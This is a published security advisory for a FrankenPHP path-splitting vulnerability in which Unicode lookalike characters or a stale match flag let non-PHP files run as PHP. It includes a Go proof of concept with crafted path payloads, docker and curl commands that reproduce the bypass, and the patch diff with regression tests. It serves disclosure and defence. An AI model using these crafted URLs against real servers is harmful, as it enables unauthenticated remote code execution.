VYPR
High severity8.1GHSA Advisory· Published May 15, 2026· Updated May 16, 2026

FrankenPHP: Unsafe Unicode Handling in CGI Path Splitting Allows Execution of Non-PHP Files

CVE-2026-45062

Description

Summary

The splitPos() function in `cgi.go` misuses golang.org/x/text/search with search.IgnoreCase when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead FrankenPHP into treating a non-.php file as a .php script. In any deployment where the attacker can place content into a file served by FrankenPHP (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw.

This advisory consolidates two independent reports against the same function (the duplicate, GHSA-v4h7-cj44-8fc8, has been closed). Both were reported by @KC1zs4.

Details

var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)

func splitPos(path string, splitPath []string) int {
	if len(splitPath) == 0 {
		return 0
	}
	pathLen := len(path)
	for _, split := range splitPath {
		splitLen := len(split)
		for i := 0; i < pathLen; i++ {
			if path[i] >= utf8.RuneSelf {
				if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
					return end
				}
				break
			}
			if i+splitLen > pathLen {
				continue
			}
			match := true
			for j := 0; j < splitLen; j++ {
				c := path[i+j]
				if c >= utf8.RuneSelf {
					if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
						return end
					}
					break // <-- flaw 1: 'match' is still true
				}
				if 'A' <= c && c <= 'Z' {
					c += 'a' - 'A'
				}
				if c != split[j] {
					match = false
					break
				}
			}
			if match {
				return i + splitLen
			}
		}
	}
	return -1
}
Flaw 1 — Control-flow: stale match after inner non-ASCII fallback

In the inner for j loop, when a byte satisfies c >= utf8.RuneSelf and splitSearchNonASCII.IndexString(...) returns -1, the loop breaks without setting match = false. The outer code then evaluates if match { return i + splitLen } with match still true, returning a position as if .php had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named name.<U+00A1>.txt gets routed as PHP.

Flaw 2 — Unicode equivalence: search.IgnoreCase folds non-ASCII lookalikes onto ASCII

search.New(language.Und, search.IgnoreCase) performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII ., p, h, p, so a path containing ﹒php, .php, .php, .ⓟⓗⓟ, .𝗽𝗵𝗽, .𝓅𝒽𝓅, .𝖕𝖍𝖕, etc. is reported as .php.

Both flaws share the same root cause: invoking search.IgnoreCase to match an ASCII-only, validated-lower-case split entry against an arbitrary path. WithRequestSplitPath already guarantees every entry is ASCII and lower-cased, so any byte >= utf8.RuneSelf in the path can never be part of a legitimate match — but the fallback ignored that guarantee.

PoC

Standalone reproducer (copy splitPos from cgi.go verbatim, plus the imports):

package main

import (
	"fmt"
	"unicode/utf8"

	"golang.org/x/text/language"
	"golang.org/x/text/search"
)

var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)

// ... splitPos copied verbatim from cgi.go ...

func main() {
	split := []string{".php"}
	payloads := []string{
		// flaw 1
		"/PoC-match-unset.txt",   // expected: -1
		"/PoC-match-unset.¡.txt", // expected: -1, actual: 20

		// flaw 2
		"/shell﹒php",          // ﹒ small full stop
		"/shell.php",          // . fullwidth full stop
		"/shell.php",          // p fullwidth p
		"/shell.php",          // h fullwidth h
		"/shell.ⓟⓗⓟ",                 // ⓟⓗⓟ circled
		"/shell.\U0001D5FD\U0001D5F5\U0001D5FD",     // 𝗽𝗵𝗽 mathematical sans-serif bold
		"/shell.\U0001D4C5\U0001D4BD\U0001D4C5",     // 𝓅𝒽𝓅 mathematical script
		"/shell.ⓟⓗⓟ.anything-after-payload.php",
	}
	for _, p := range payloads {
		fmt.Printf("%-50s : %d\n", p, splitPos(p, split))
	}
}

Run go run poc.go:

/PoC-match-unset.txt                               : -1
/PoC-match-unset.¡.txt                             : 20
/shell﹒php                                        : 12
/shell.php                                        : 12
/shell.php                                         : 12
/shell.php                                         : 12
/shell.ⓟⓗⓟ                                          : 16
/shell.𝗽𝗵𝗽                                          : 19
/shell.𝓅𝒽𝓅                                          : 19
/shell.ⓟⓗⓟ.anything-after-payload.php               : 16

Every value other than -1 is a wrong answer: splitPos claims .php was matched at the printed offset, so SCRIPT_FILENAME is set to the corresponding non-PHP file (which PHP then loads and executes).

End-to-end demo

Directory layout:

.
├── Caddyfile          # `:8080 { root * /app/public; php }`
└── public/
    ├── index.php
    ├── poc-match-unset.¡.   # contains <?php echo "marker=flaw1\n"; ?>
    └── poc-search-norm.𝗽𝗵𝗽  # contains <?php echo "marker=flaw2\n"; ?>
docker run --rm -d --name frankenphp-poc \
  -p 18080:8080 \
  -v "$(pwd)/Caddyfile:/etc/frankenphp/Caddyfile:ro" \
  -v "$(pwd)/public:/app/public" \
  dunglas/frankenphp:latest

# baseline (correctly fails to map a .txt or non-php file to PHP)
curl -i --path-as-is "http://127.0.0.1:18080/poc-match-unset.txt/trigger"
curl -i --path-as-is "http://127.0.0.1:18080/poc-search-norm/trigger"

# flaw 1 — runs poc-match-unset.¡. as PHP
curl -i --path-as-is "http://127.0.0.1:18080/poc-match-unset.%C2%A1.txt/trigger"

# flaw 2 — runs poc-search-norm.𝗽𝗵𝗽 as PHP
curl -i --path-as-is "http://127.0.0.1:18080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger"

Both crafted requests respond with the marker payload from the non-.php file, confirming arbitrary code execution through the body of attacker-controlled files.

Impact

Comparable in shape to CVE-2026-24895 but with a stricter precondition: the attacker needs the ability to place content into a file whose name matches one of the bypass patterns (the Unicode lookalike forms or a name containing a non-ASCII byte after a .). Where that precondition holds — common in upload endpoints, user-content stores, package mirrors, etc. — the bypass yields RCE in the FrankenPHP process via a single crafted URL, without authentication, over the network. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — High (8.1).

Patch

Both flaws share a single fix: drop the golang.org/x/text/search fallback entirely and treat any byte >= utf8.RuneSelf in the path as a non-match. Split entries are validated ASCII-only and lower-cased upstream, so this preserves correct behavior for every legitimate path while making the Unicode bypasses unrepresentable. The replacement is a tight byte loop with no library calls in the hot path.

Credit

Both flaws were reported by @KC1zs4.

Affected products

1

Patches

1
2d0f480329a0

Merge commit from fork

https://github.com/php/frankenphpKévin DunglasMay 15, 2026via ghsa
5 files changed · +118 40
  • caddy/go.mod+5 5 modified
    @@ -84,7 +84,7 @@ require (
     	github.com/golang/protobuf v1.5.4 // indirect
     	github.com/golang/snappy v1.0.0 // indirect
     	github.com/google/brotli/go/cbrotli v1.1.0 // indirect
    -	github.com/google/cel-go v0.28.0 // indirect
    +	github.com/google/cel-go v0.28.1 // indirect
     	github.com/google/certificate-transparency-go v1.3.3 // indirect
     	github.com/google/go-tpm v0.9.8 // indirect
     	github.com/google/go-tspi v0.3.0 // indirect
    @@ -121,7 +121,7 @@ require (
     	github.com/mschoch/smat v0.2.0 // indirect
     	github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
     	github.com/oasdiff/yaml v0.0.9 // indirect
    -	github.com/oasdiff/yaml3 v0.0.12 // indirect
    +	github.com/oasdiff/yaml3 v0.0.13 // indirect
     	github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58 // indirect
     	github.com/pelletier/go-toml/v2 v2.3.1 // indirect
     	github.com/perimeterx/marshmallow v1.1.5 // indirect
    @@ -198,7 +198,7 @@ require (
     	go.opentelemetry.io/otel/sdk/metric v1.43.0 // indirect
     	go.opentelemetry.io/otel/trace v1.43.0 // indirect
     	go.opentelemetry.io/proto/otlp v1.10.0 // indirect
    -	go.step.sm/crypto v0.79.0 // indirect
    +	go.step.sm/crypto v0.81.0 // indirect
     	go.uber.org/automaxprocs v1.6.0 // indirect
     	go.uber.org/multierr v1.11.0 // indirect
     	go.uber.org/zap v1.28.0 // indirect
    @@ -217,10 +217,10 @@ require (
     	golang.org/x/text v0.37.0 // indirect
     	golang.org/x/time v0.15.0 // indirect
     	golang.org/x/tools v0.45.0 // indirect
    -	google.golang.org/api v0.278.0 // indirect
    +	google.golang.org/api v0.279.0 // indirect
     	google.golang.org/genproto/googleapis/api v0.0.0-20260511170946-3700d4141b60 // indirect
     	google.golang.org/genproto/googleapis/rpc v0.0.0-20260511170946-3700d4141b60 // indirect
    -	google.golang.org/grpc v1.81.0 // indirect
    +	google.golang.org/grpc v1.81.1 // indirect
     	google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.6.2 // indirect
     	google.golang.org/protobuf v1.36.11 // indirect
     	gopkg.in/yaml.v3 v3.0.1 // indirect
    
  • caddy/go.sum+12 12 modified
    @@ -10,8 +10,8 @@ cloud.google.com/go/compute/metadata v0.9.0 h1:pDUj4QMoPejqq20dK0Pg2N4yG9zIkYGdB
     cloud.google.com/go/compute/metadata v0.9.0/go.mod h1:E0bWwX5wTnLPedCKqk3pJmVgCBSM6qQI1yTBdEb3C10=
     cloud.google.com/go/iam v1.7.0 h1:JD3zh0C6LHl16aCn5Akff0+GELdp1+4hmh6ndoFLl8U=
     cloud.google.com/go/iam v1.7.0/go.mod h1:tetWZW1PD/m6vcuY2Zj/aU0eCHNPuxedbnbRTyKXvdY=
    -cloud.google.com/go/kms v1.30.0 h1:TSEZopy/OXojbVCQS9Rrx0jFqdKWvO31+N8ncXbxG/s=
    -cloud.google.com/go/kms v1.30.0/go.mod h1:YIyXZym11R5uovJJt4oN5eUL3oPmirF3yKeIh6QAf4U=
    +cloud.google.com/go/kms v1.31.0 h1:LS8N92OxFDgOLg5NCo3OmbvjtQAIVT5gUHVLKIDHaFE=
    +cloud.google.com/go/kms v1.31.0/go.mod h1:YIyXZym11R5uovJJt4oN5eUL3oPmirF3yKeIh6QAf4U=
     cloud.google.com/go/longrunning v0.9.0 h1:0EzbDEGsAvOZNbqXopgniY0w0a1phvu5IdUFq8grmqY=
     cloud.google.com/go/longrunning v0.9.0/go.mod h1:pkTz846W7bF4o2SzdWJ40Hu0Re+UoNT6Q5t+igIcb8E=
     code.pfad.fr/check v1.1.0 h1:GWvjdzhSEgHvEHe2uJujDcpmZoySKuHQNrZMfzfO0bE=
    @@ -219,8 +219,8 @@ github.com/google/brotli/go/cbrotli v1.1.0 h1:YwHD/rwSgUSL4b2S3ZM2jnNymm+tmwKQqj
     github.com/google/brotli/go/cbrotli v1.1.0/go.mod h1:nOPhAkwVliJdNTkj3gXpljmWhjc4wCaVqbMJcPKWP4s=
     github.com/google/btree v1.1.3 h1:CVpQJjYgC4VbzxeGVHfvZrv1ctoYCAI8vbl07Fcxlyg=
     github.com/google/btree v1.1.3/go.mod h1:qOPhT0dTNdNzV6Z/lhRX0YXUafgPLFUh+gZMl761Gm4=
    -github.com/google/cel-go v0.28.0 h1:KjSWstCpz/MN5t4a8gnGJNIYUsJRpdi/r97xWDphIQc=
    -github.com/google/cel-go v0.28.0/go.mod h1:X0bD6iVNR8pkROSOoHVdgTkzmRcosof7WQqCD6wcMc8=
    +github.com/google/cel-go v0.28.1 h1:YWIwi77J4xIsYUwAF/iIuS6haffzIHS8yWI8glSbLWM=
    +github.com/google/cel-go v0.28.1/go.mod h1:X0bD6iVNR8pkROSOoHVdgTkzmRcosof7WQqCD6wcMc8=
     github.com/google/certificate-transparency-go v1.0.21/go.mod h1:QeJfpSbVSfYc7RgB3gJFj9cbuQMMchQxrWXz8Ruopmg=
     github.com/google/certificate-transparency-go v1.3.3 h1:hq/rSxztSkXN2tx/3jQqF6Xc0O565UQPdHrOWvZwybo=
     github.com/google/certificate-transparency-go v1.3.3/go.mod h1:iR17ZgSaXRzSa5qvjFl8TnVD5h8ky2JMVio+dzoKMgA=
    @@ -321,8 +321,8 @@ github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq
     github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
     github.com/oasdiff/yaml v0.0.9 h1:zQOvd2UKoozsSsAknnWoDJlSK4lC0mpmjfDsfqNwX48=
     github.com/oasdiff/yaml v0.0.9/go.mod h1:8lvhgJG4xiKPj3HN5lDow4jZHPlx1i7dIwzkdAo6oAM=
    -github.com/oasdiff/yaml3 v0.0.12 h1:75urAtPeDg2/iDEWwzNrLOWxI9N/dCh81nTTJtokt2M=
    -github.com/oasdiff/yaml3 v0.0.12/go.mod h1:y5+oSEHCPT/DGrS++Wc/479ERge0zTFxaF8PbGKcg2o=
    +github.com/oasdiff/yaml3 v0.0.13 h1:06svmvOHOVBqF81+sY2EUScvUI/iS/vl2VIeUUxZQwg=
    +github.com/oasdiff/yaml3 v0.0.13/go.mod h1:y5+oSEHCPT/DGrS++Wc/479ERge0zTFxaF8PbGKcg2o=
     github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58 h1:onHthvaw9LFnH4t2DcNVpwGmV9E1BkGknEliJkfwQj0=
     github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58/go.mod h1:DXv8WO4yhMYhSNPKjeNKa5WY9YCIEBRbNzFFPJbWO6Y=
     github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
    @@ -536,8 +536,8 @@ go.opentelemetry.io/otel/trace v1.43.0 h1:BkNrHpup+4k4w+ZZ86CZoHHEkohws8AY+WTX09
     go.opentelemetry.io/otel/trace v1.43.0/go.mod h1:/QJhyVBUUswCphDVxq+8mld+AvhXZLhe+8WVFxiFff0=
     go.opentelemetry.io/proto/otlp v1.10.0 h1:IQRWgT5srOCYfiWnpqUYz9CVmbO8bFmKcwYxpuCSL2g=
     go.opentelemetry.io/proto/otlp v1.10.0/go.mod h1:/CV4QoCR/S9yaPj8utp3lvQPoqMtxXdzn7ozvvozVqk=
    -go.step.sm/crypto v0.79.0 h1:vy6i3ezAV5JokPALXWGNVcjiESjbpJgIT65t/WkhGFM=
    -go.step.sm/crypto v0.79.0/go.mod h1:hblLC8VVW3SnV7DE88jpdVgJHPYabIlNMMXkrbAZoUs=
    +go.step.sm/crypto v0.81.0 h1:e+ouzpNt3Xm4dp7HGXhgYB5y4iFik3vh3phHKWmvugU=
    +go.step.sm/crypto v0.81.0/go.mod h1:fsTizqQeASjTXnbv9O00XtRlIuXRkCdoRiJNyXGQujc=
     go.uber.org/automaxprocs v1.6.0 h1:O3y2/QNTOdbF+e/dpXNNW7Rx2hZ4sTIPyybbxyNqTUs=
     go.uber.org/automaxprocs v1.6.0/go.mod h1:ifeIMSnPZuznNm6jmdzmU3/bfk01Fe2fotchwEFJ8r8=
     go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
    @@ -647,16 +647,16 @@ golang.org/x/tools v0.45.0/go.mod h1:LuUGqqaXcXMEFEruIVJVm5mgDD8vww/z/SR1gQ4uE/0
     golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
     gonum.org/v1/gonum v0.17.0 h1:VbpOemQlsSMrYmn7T2OUvQ4dqxQXU+ouZFQsZOx50z4=
     gonum.org/v1/gonum v0.17.0/go.mod h1:El3tOrEuMpv2UdMrbNlKEh9vd86bmQ6vqIcDwxEOc1E=
    -google.golang.org/api v0.278.0 h1:W7jiRvRi53VYFfZ/HoZjQBtJk7gOFbHD8ot1RzVZU6E=
    -google.golang.org/api v0.278.0/go.mod h1:B9TqLBwJqVjp1mtt7WeoQwWRwvu/400y5lETOql+giQ=
    +google.golang.org/api v0.279.0 h1:hsx2M2OaRcaKtVYK6vXEUnQvdjnend7ZYES+lYaot74=
    +google.golang.org/api v0.279.0/go.mod h1:B9TqLBwJqVjp1mtt7WeoQwWRwvu/400y5lETOql+giQ=
     google.golang.org/genproto v0.0.0-20260319201613-d00831a3d3e7 h1:XzmzkmB14QhVhgnawEVsOn6OFsnpyxNPRY9QV01dNB0=
     google.golang.org/genproto v0.0.0-20260319201613-d00831a3d3e7/go.mod h1:L43LFes82YgSonw6iTXTxXUX1OlULt4AQtkik4ULL/I=
     google.golang.org/genproto/googleapis/api v0.0.0-20260511170946-3700d4141b60 h1:3WsB1FAbiRIf2tOxscWKs3pQBD9he1NsrnbhMuWfekc=
     google.golang.org/genproto/googleapis/api v0.0.0-20260511170946-3700d4141b60/go.mod h1:7yoXV7RIh5gblj/xVYoogxAWvA9wUeVbpsK/M694l00=
     google.golang.org/genproto/googleapis/rpc v0.0.0-20260511170946-3700d4141b60 h1:seT2EwLWM78plQ7wcDfuWBc/4FAEAXDDiaSol4ku4qo=
     google.golang.org/genproto/googleapis/rpc v0.0.0-20260511170946-3700d4141b60/go.mod h1:4Hqkh8ycfw05ld/3BWL7rJOSfebL2Q+DVDeRgYgxUU8=
    -google.golang.org/grpc v1.81.0 h1:W3G9N3KQf3BU+YuCtGKJk0CmxQNbAISICD/9AORxLIw=
    -google.golang.org/grpc v1.81.0/go.mod h1:xGH9GfzOyMTGIOXBJmXt+BX/V0kcdQbdcuwQ/zNw42I=
    +google.golang.org/grpc v1.81.1 h1:VnnIIZ88UzOOKLukQi+ImGz8O1Wdp8nAGGnvOfEIWQQ=
    +google.golang.org/grpc v1.81.1/go.mod h1:xGH9GfzOyMTGIOXBJmXt+BX/V0kcdQbdcuwQ/zNw42I=
     google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.6.2 h1:rgSNvqscFZ1JgV/4wH5GOsZFSFkR2Eua9As3KIr2LlM=
     google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.6.2/go.mod h1:iMEtFwDlAhjDU9L5mY6U1XLwlIId/G3h+QcBHDIvrJ8=
     google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
    
  • cgi.go+12 22 modified
    @@ -22,8 +22,6 @@ import (
     	"unsafe"
     
     	"github.com/dunglas/frankenphp/internal/phpheaders"
    -	"golang.org/x/text/language"
    -	"golang.org/x/text/search"
     )
     
     // cStringHTTPMethods caches C string versions of common HTTP methods
    @@ -234,43 +232,35 @@ func splitCgiPath(fc *frankenPHPContext) {
     	fc.worker = workersByPath[fc.scriptFilename]
     }
     
    -var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)
    -
     // splitPos returns the index where path should be split based on splitPath.
     // example: if splitPath is [".php"]
     // "/path/to/script.php/some/path": ("/path/to/script.php", "/some/path")
    +//
    +// Matching is strictly ASCII case-insensitive. Bytes >= utf8.RuneSelf in path
    +// never match any split entry: split strings are validated ASCII-only and
    +// lower-cased in WithRequestSplitPath, so any Unicode equivalence (e.g.
    +// fullwidth or mathematical letters folding to ASCII) would let an attacker
    +// upload a file whose name contains such code points and have it served as
    +// PHP. See GHSA-3g8v-8r37-cgjm and GHSA-v4h7-cj44-8fc8.
     func splitPos(path string, splitPath []string) int {
     	if len(splitPath) == 0 {
     		return 0
     	}
     
     	pathLen := len(path)
     
    -	// We are sure that split strings are all ASCII-only and lower-case because of validation and normalization in WithRequestSplitPath
     	for _, split := range splitPath {
     		splitLen := len(split)
    +		if splitLen == 0 || splitLen > pathLen {
    +			continue
    +		}
     
    -		for i := 0; i < pathLen; i++ {
    -			if path[i] >= utf8.RuneSelf {
    -				if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
    -					return end
    -				}
    -
    -				break
    -			}
    -
    -			if i+splitLen > pathLen {
    -				continue
    -			}
    -
    +		for i := 0; i <= pathLen-splitLen; i++ {
     			match := true
     			for j := 0; j < splitLen; j++ {
     				c := path[i+j]
    -
     				if c >= utf8.RuneSelf {
    -					if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
    -						return end
    -					}
    +					match = false
     
     					break
     				}
    
  • cgi_test.go+88 0 modified
    @@ -154,6 +154,67 @@ func TestSplitPos(t *testing.T) {
     			splitPath: []string{".php"},
     			wantPos:   9,
     		},
    +		// Regression tests for GHSA-3g8v-8r37-cgjm: an inner non-ASCII byte
    +		// caused the loop to break without resetting match=false, so a path
    +		// such as "/PoC-match-unset.¡.txt" was reported as ".php" matched.
    +		{
    +			name:      "non-ascii byte after dot must not match",
    +			path:      "/PoC-match-unset.¡.txt",
    +			splitPath: []string{".php"},
    +			wantPos:   -1,
    +		},
    +		{
    +			name:      "non-ascii byte mid-extension must not match",
    +			path:      "/script.p\xc2\xa1p",
    +			splitPath: []string{".php"},
    +			wantPos:   -1,
    +		},
    +		// Regression tests for GHSA-v4h7-cj44-8fc8: search.IgnoreCase folded
    +		// Unicode equivalents (fullwidth, mathematical, circled letters,
    +		// fullwidth/small full-stop) onto ASCII ".php".
    +		{
    +			name:      "small full stop ﹒ in extension must not match",
    +			path:      "/shell﹒php",
    +			splitPath: []string{".php"},
    +			wantPos:   -1,
    +		},
    +		{
    +			name:      "fullwidth full stop . in extension must not match",
    +			path:      "/shell.php",
    +			splitPath: []string{".php"},
    +			wantPos:   -1,
    +		},
    +		{
    +			name:      "fullwidth p in extension must not match",
    +			path:      "/shell.php",
    +			splitPath: []string{".php"},
    +			wantPos:   -1,
    +		},
    +		{
    +			name:      "circled php must not match",
    +			path:      "/shell.ⓟⓗⓟ",
    +			splitPath: []string{".php"},
    +			wantPos:   -1,
    +		},
    +		{
    +			name:      "mathematical sans-serif bold php must not match",
    +			path:      "/shell.\U0001D5FD\U0001D5F5\U0001D5FD",
    +			splitPath: []string{".php"},
    +			wantPos:   -1,
    +		},
    +		{
    +			name:      "mathematical script php must not match",
    +			path:      "/shell.\U0001D4C5\U0001D4BD\U0001D4C5",
    +			splitPath: []string{".php"},
    +			wantPos:   -1,
    +		},
    +		{
    +			name:      "circled php with later real php still picks the real one",
    +			path:      "/shell.ⓟⓗⓟ.anything-after-payload.php",
    +			splitPath: []string{".php"},
    +			// "/shell." (7) + "ⓟⓗⓟ" (3*3 bytes) + ".anything-after-payload.php" (27) = 43
    +			wantPos: 43,
    +		},
     	}
     
     	for _, tt := range tests {
    @@ -208,3 +269,30 @@ func TestSplitPosUnicodeSecurityRegression(t *testing.T) {
     		assert.Equal(t, ".txt.php", pathInfo, "path info should be the remainder after first .php")
     	}
     }
    +
    +// TestSplitPosSecurityRegressionUnicodeBypass guards against
    +// GHSA-3g8v-8r37-cgjm (uninitialized match flag on inner non-ASCII byte) and
    +// GHSA-v4h7-cj44-8fc8 (Unicode equivalence via search.IgnoreCase letting
    +// non-PHP files be picked up as the script). Every payload below produced a
    +// false positive in the vulnerable implementation; none must match here.
    +func TestSplitPosSecurityRegressionUnicodeBypass(t *testing.T) {
    +	t.Parallel()
    +
    +	split := []string{".php"}
    +	payloads := []string{
    +		"/PoC-match-unset.¡.txt",                // GHSA-3g8v: match left set after IndexString fallback returned -1
    +		"/shell﹒php",                            // U+FE52 small full stop
    +		"/shell.php",                            // U+FF0E fullwidth full stop
    +		"/shell.php",                            // U+FF50 fullwidth p
    +		"/shell.php",                            // U+FF48 fullwidth h
    +		"/shell.php",                            // U+FF50 fullwidth p (trailing)
    +		"/shell.\U0001D5C1\U0001D5B5\U0001D5C1", // mathematical sans-serif p/h
    +		"/shell.\U0001D5FD\U0001D5F5\U0001D5FD", // mathematical sans-serif bold p/h
    +		"/shell.\U0001D4C5\U0001D4BD\U0001D4C5", // mathematical script p/h
    +		"/shell.ⓟⓗⓟ",                            // circled latin small
    +	}
    +
    +	for _, p := range payloads {
    +		assert.Equalf(t, -1, splitPos(p, split), "payload %q must not be detected as .php", p)
    +	}
    +}
    
  • go.mod+1 1 modified
    @@ -12,7 +12,6 @@ require (
     	github.com/prometheus/client_golang v1.23.2
     	github.com/stretchr/testify v1.11.1
     	golang.org/x/net v0.54.0
    -	golang.org/x/text v0.37.0
     )
     
     require (
    @@ -64,6 +63,7 @@ require (
     	go.yaml.in/yaml/v3 v3.0.4 // indirect
     	golang.org/x/crypto v0.51.0 // indirect
     	golang.org/x/sys v0.44.0 // indirect
    +	golang.org/x/text v0.37.0 // indirect
     	google.golang.org/protobuf v1.36.11 // indirect
     	gopkg.in/yaml.v3 v3.0.1 // indirect
     )
    

Vulnerability mechanics

AI mechanics synthesis has not run for this CVE yet.

References

3

News mentions

0

No linked articles in our index yet.